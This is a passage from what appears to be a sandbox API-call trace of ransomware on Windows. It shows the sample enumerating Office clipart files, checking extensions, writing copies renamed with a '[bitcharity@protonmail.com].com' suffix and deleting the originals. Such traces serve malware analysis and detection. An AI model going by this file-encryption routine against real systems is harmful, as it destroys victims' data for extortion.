Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0152.563] lstrlenW (lpString=".jpg") returned 4 [0152.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0152.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0152.563] lstrlenW (lpString=".doc") returned 4 [0152.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.563] lstrlenW (lpString=".docx") returned 5 [0152.563] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.563] lstrlenW (lpString=".pdf") returned 4 [0152.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.563] lstrlenW (lpString=".xls") returned 4 [0152.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.563] lstrlenW (lpString=".xlsx") returned 5 [0152.563] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.563] lstrlenW (lpString=".ppt") returned 4 [0152.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0152.563] lstrlenW (lpString=".zip") returned 4 [0152.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.564] lstrlenW (lpString=".rar") returned 4 [0152.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.564] lstrlenW (lpString=".bz2") returned 4 [0152.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.564] lstrlenW (lpString=".7z") returned 3 [0152.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0152.564] lstrlenW (lpString=".dbf") returned 4 [0152.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0152.564] lstrlenW (lpString=".1cd") returned 4 [0152.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0152.564] lstrlenW (lpString=".jpg") returned 4 [0152.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.564] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0152.564] lstrlenW (lpString="BD00116_.WMF") returned 12 [0152.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0152.574] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=4870) returned 1 [0152.574] CloseHandle (hObject=0x1084) returned 1 [0152.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x220 [0152.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0152.575] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.575] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0152.575] GetLastError () returned 0x0 [0152.575] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x1306, lpOverlapped=0x0) returned 1 [0152.625] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x1310, lpOverlapped=0x0) returned 1 [0152.626] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.626] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.626] SetEndOfFile (hFile=0x10d8) returned 1 [0152.627] CloseHandle (hObject=0x10d8) returned 1 [0152.627] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.627] SetEndOfFile (hFile=0x1084) returned 1 [0152.628] CloseHandle (hObject=0x1084) returned 1 [0152.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.628] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0152.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0152.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0152.629] lstrlenW (lpString=".doc") returned 4 [0152.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.629] lstrlenW (lpString=".docx") returned 5 [0152.629] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.629] lstrlenW (lpString=".pdf") returned 4 [0152.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.629] lstrlenW (lpString=".xls") returned 4 [0152.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.629] lstrlenW (lpString=".xlsx") returned 5 [0152.629] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.629] lstrlenW (lpString=".ppt") returned 4 [0152.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0152.629] lstrlenW (lpString=".zip") returned 4 [0152.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.629] lstrlenW (lpString=".rar") returned 4 [0152.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.629] lstrlenW (lpString=".bz2") returned 4 [0152.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.629] lstrlenW (lpString=".7z") returned 3 [0152.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0152.629] lstrlenW (lpString=".dbf") returned 4 [0152.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0152.629] lstrlenW (lpString=".1cd") returned 4 [0152.629] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0152.629] lstrlenW (lpString=".jpg") returned 4 [0152.629] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0152.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0152.630] lstrlenW (lpString=".doc") returned 4 [0152.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.630] lstrlenW (lpString=".docx") returned 5 [0152.630] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.630] lstrlenW (lpString=".pdf") returned 4 [0152.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.630] lstrlenW (lpString=".xls") returned 4 [0152.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.630] lstrlenW (lpString=".xlsx") returned 5 [0152.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.630] lstrlenW (lpString=".ppt") returned 4 [0152.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0152.630] lstrlenW (lpString=".zip") returned 4 [0152.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.630] lstrlenW (lpString=".rar") returned 4 [0152.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.631] lstrlenW (lpString=".bz2") returned 4 [0152.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.631] lstrlenW (lpString=".7z") returned 3 [0152.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0152.631] lstrlenW (lpString=".dbf") returned 4 [0152.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0152.631] lstrlenW (lpString=".1cd") returned 4 [0152.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0152.631] lstrlenW (lpString=".jpg") returned 4 [0152.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.632] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0152.632] lstrlenW (lpString="BD00146_.WMF") returned 12 [0152.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0152.632] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=28948) returned 1 [0152.632] CloseHandle (hObject=0x1084) returned 1 [0152.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x220 [0152.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0152.632] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.632] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0152.633] GetLastError () returned 0x0 [0152.633] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x7114, lpOverlapped=0x0) returned 1 [0152.734] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x7120, lpOverlapped=0x0) returned 1 [0152.738] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.738] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.738] SetEndOfFile (hFile=0x10d8) returned 1 [0152.739] CloseHandle (hObject=0x10d8) returned 1 [0152.741] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.741] SetEndOfFile (hFile=0x1084) returned 1 [0152.745] CloseHandle (hObject=0x1084) returned 1 [0152.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.746] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0152.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0152.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0152.747] lstrlenW (lpString=".doc") returned 4 [0152.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.748] lstrlenW (lpString=".docx") returned 5 [0152.748] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.748] lstrlenW (lpString=".pdf") returned 4 [0152.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.748] lstrlenW (lpString=".xls") returned 4 [0152.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.748] lstrlenW (lpString=".xlsx") returned 5 [0152.748] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.748] lstrlenW (lpString=".ppt") returned 4 [0152.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0152.749] lstrlenW (lpString=".zip") returned 4 [0152.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.749] lstrlenW (lpString=".rar") returned 4 [0152.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.749] lstrlenW (lpString=".bz2") returned 4 [0152.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.749] lstrlenW (lpString=".7z") returned 3 [0152.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0152.749] lstrlenW (lpString=".dbf") returned 4 [0152.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0152.750] lstrlenW (lpString=".1cd") returned 4 [0152.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0152.750] lstrlenW (lpString=".jpg") returned 4 [0152.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0152.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0152.750] lstrlenW (lpString=".doc") returned 4 [0152.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.750] lstrlenW (lpString=".docx") returned 5 [0152.751] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.751] lstrlenW (lpString=".pdf") returned 4 [0152.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.751] lstrlenW (lpString=".xls") returned 4 [0152.751] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.751] lstrlenW (lpString=".xlsx") returned 5 [0152.751] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.751] lstrlenW (lpString=".ppt") returned 4 [0152.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0152.751] lstrlenW (lpString=".zip") returned 4 [0152.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.752] lstrlenW (lpString=".rar") returned 4 [0152.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.752] lstrlenW (lpString=".bz2") returned 4 [0152.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.752] lstrlenW (lpString=".7z") returned 3 [0152.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0152.752] lstrlenW (lpString=".dbf") returned 4 [0152.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0152.752] lstrlenW (lpString=".1cd") returned 4 [0152.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0152.752] lstrlenW (lpString=".jpg") returned 4 [0152.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.752] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0152.752] lstrlenW (lpString="BD06200_.WMF") returned 12 [0152.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0152.753] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=16676) returned 1 [0152.753] CloseHandle (hObject=0x1084) returned 1 [0152.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x220 [0152.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0152.754] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.754] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0152.754] GetLastError () returned 0x0 [0152.754] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x4124, lpOverlapped=0x0) returned 1 [0152.804] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x4130, lpOverlapped=0x0) returned 1 [0152.806] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.806] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.806] SetEndOfFile (hFile=0x10d8) returned 1 [0152.811] CloseHandle (hObject=0x10d8) returned 1 [0152.816] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.816] SetEndOfFile (hFile=0x1084) returned 1 [0152.820] CloseHandle (hObject=0x1084) returned 1 [0152.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.821] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0152.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0152.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0152.821] lstrlenW (lpString=".doc") returned 4 [0152.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.821] lstrlenW (lpString=".docx") returned 5 [0152.821] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.821] lstrlenW (lpString=".pdf") returned 4 [0152.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.821] lstrlenW (lpString=".xls") returned 4 [0152.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.821] lstrlenW (lpString=".xlsx") returned 5 [0152.821] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.821] lstrlenW (lpString=".ppt") returned 4 [0152.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0152.821] lstrlenW (lpString=".zip") returned 4 [0152.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.822] lstrlenW (lpString=".rar") returned 4 [0152.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.822] lstrlenW (lpString=".bz2") returned 4 [0152.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.822] lstrlenW (lpString=".7z") returned 3 [0152.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0152.822] lstrlenW (lpString=".dbf") returned 4 [0152.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0152.822] lstrlenW (lpString=".1cd") returned 4 [0152.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0152.822] lstrlenW (lpString=".jpg") returned 4 [0152.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.822] lstrlenW (lpString="C:\\Program Files\\Microsoft 